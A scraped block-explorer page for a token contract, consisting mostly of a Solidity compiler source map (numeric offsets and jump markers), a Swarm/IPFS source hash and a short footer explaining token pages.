2247:3161:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2745:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3352:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4578:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3017:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4970:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3913:439;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2931:78;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3108:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2054:178;;;:::i;:::-;;1967:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2836:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3571:333;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3218:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2745:83;2782:13;2815:5;2808:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2745:83;:::o;3352:206::-;3418:12;3474:6;3447:3;:15;3451:10;3447:15;;;;;;;;;;;;;;;:24;3463:7;3447:24;;;;;;;;;;;;;;;:33;;;;3517:7;3496:37;;3505:10;3496:37;;;3526:6;3496:37;;;;;;:::i;:::-;;;;;;;;3551:4;3544:11;;3352:206;;;;:::o;4578:101::-;4650:1;4631:3;:15;4635:10;4631:15;;;;;;;;;;;;;;;;:20;4628:50;;4675:1;4663:3;:9;4667:4;4663:9;;;;;;;;;;;;;;;:13;;;;4628:50;4578:101;:::o;3017:83::-;3062:7;3089:3;;3082:10;;3017:83;:::o;4970:108::-;5052:1;5033:3;:15;5037:10;5033:15;;;;;;;;;;;;;;;;:20;5030:47;;5062:13;5066:4;5071:3;5062;:13::i;:::-;5030:47;4970:108;;:::o;3913:439::-;4002:4;4033;:12;4038:6;4033:12;;;;;;;;;;;;;;;;4023:6;:22;;4015:31;;;;;;4072:3;:11;4076:6;4072:11;;;;;;;;;;;;;;;:23;4084:10;4072:23;;;;;;;;;;;;;;;;4062:6;:33;;4054:42;;;;;;4135:1;4120:3;:11;4124:6;4120:11;;;;;;;;;;;;;;;;:16;4117:234;;4149:30;4153:6;4161:9;4172:6;4149:3;:30::i;:::-;4197:4;4190:11;;;;4117:234;4242:1;4227:3;:11;4231:6;4227:11;;;;;;;;;;;;;;;;:16;4224:127;;4282:1;4265:3;:14;4269:9;4265:14;;;;;;;;;;;;;;;;:18;4261:89;;4296:30;4300:6;4308:9;4319:6;4296:3;:30::i;:::-;4344:4;4337:11;;;;4261:89;4224:127;3913:439;;;;;;:::o;2931:78::-;2972:5;2997:4;;;;;;;;;;;2990:11;;2931:78;:::o;3108:106::-;3166:7;3193:4;:13;3198:7;3193:13;;;;;;;;;;;;;;;;3186:20;;3108:106;;;:::o;2054:178::-;2131:6;;;;;;;;;;2117:20;;:10;:20;;;2109:29;;;;;;2191:1;2154:40;;2175:6;;;;;;;;;;2154:40;;;;;;;;;;;;2222:1;2205:6;;:19;;;;;;;;;;;;;;;;;;2054:178::o;1967:79::-;2005:7;2032:6;;;;;;;;;;;2025:13;;1967:79;:::o;2836:87::-;2875:13;2908:7;2901:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2836:87;:::o;3571:333::-;3640:4;3678;:16;3683:10;3678:16;;;;;;;;;;;;;;;;3668:6;:26;;3660:35;;;;;;3728:1;3709:3;:15;3713:10;3709:15;;;;;;;;;;;;;;;;:20;3706:95;;3742:34;3746:10;3758:9;3769:6;3742:3;:34::i;:::-;3794:4;3787:11;;;;3706:95;3830:1;3811:3;:15;3815:10;3811:15;;;;;;;;;;;;;;;;:20;3808:95;;3844:34;3848:10;3860:9;3871:6;3844:3;:34::i;:::-;3896:4;3889:11;;;;3808:95;3571:333;;;;;:::o;3218:127::-;3291:7;3318:3;:10;3322:5;3318:10;;;;;;;;;;;;;;;:19;3329:7;3318:19;;;;;;;;;;;;;;;;3311:26;;3218:127;;;;:::o;228:179::-;286:7;306:9;322:1;318;:5;;;;:::i;:::-;306:17;;347:1;342;:6;;334:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;398:1;391:8;;;228:179;;;;:::o;5080:78::-;5153:3;5139:4;:10;5144:4;5139:10;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;5080:78;;:::o;4695:265::-;4801:24;4818:6;4801:4;:12;4806:6;4801:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;4786:4;:12;4791:6;4786:12;;;;;;;;;;;;;;;:39;;;;4854:27;4874:6;4854:4;:15;4859:9;4854:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;4836:4;:15;4841:9;4836:15;;;;;;;;;;;;;;;:45;;;;4902:4;;;;;;;;;;;4893:13;;4939:9;4922:35;;4931:6;4922:35;;;4950:6;4922:35;;;;;;:::i;:::-;;;;;;;;4695:265;;;:::o;5165:234::-;5265:24;5282:6;5265:4;:12;5270:6;5265:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;5250:4;:12;5255:6;5250:12;;;;;;;;;;;;;;;:39;;;;5318:27;5338:6;5318:4;:15;5323:9;5318:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5300:4;:15;5305:9;5300:15;;;;;;;;;;;;;;;:45;;;;5378:9;5361:35;;5370:6;5361:35;;;5389:6;5361:35;;;;;;:::i;:::-;;;;;;;;5165:234;;;:::o;415:136::-;473:7;500:43;504:1;507;500:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;493:50;;415:136;;;;:::o;559:190::-;645:7;678:1;673;:6;;681:12;665:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;705:9;721:1;717;:5;;;;:::i;:::-;705:17;;740:1;733:8;;;559:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:177::-;7055:29;7051:1;7043:6;7039:14;7032:53;6915:177;:::o;7098:366::-;7240:3;7261:67;7325:2;7320:3;7261:67;:::i;:::-;7254:74;;7337:93;7426:3;7337:93;:::i;:::-;7455:2;7450:3;7446:12;7439:19;;7098:366;;;:::o;7470:419::-;7636:4;7674:2;7663:9;7659:18;7651:26;;7723:9;7717:4;7713:20;7709:1;7698:9;7694:17;7687:47;7751:131;7877:4;7751:131;:::i;:::-;7743:139;;7470:419;;;:::o;7895:194::-;7935:4;7955:20;7973:1;7955:20;:::i;:::-;7950:25;;7989:20;8007:1;7989:20;:::i;:::-;7984:25;;8033:1;8030;8026:9;8018:17;;8057:1;8051:4;8048:11;8045:37;;;8062:18;;:::i;:::-;8045:37;7895:194;;;;:::o

Swarm Source

ipfs://30941f184a2ef6a158c9e8e4c4c2270a84ec0faf1bbcdc2e8eff28eca796e535
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.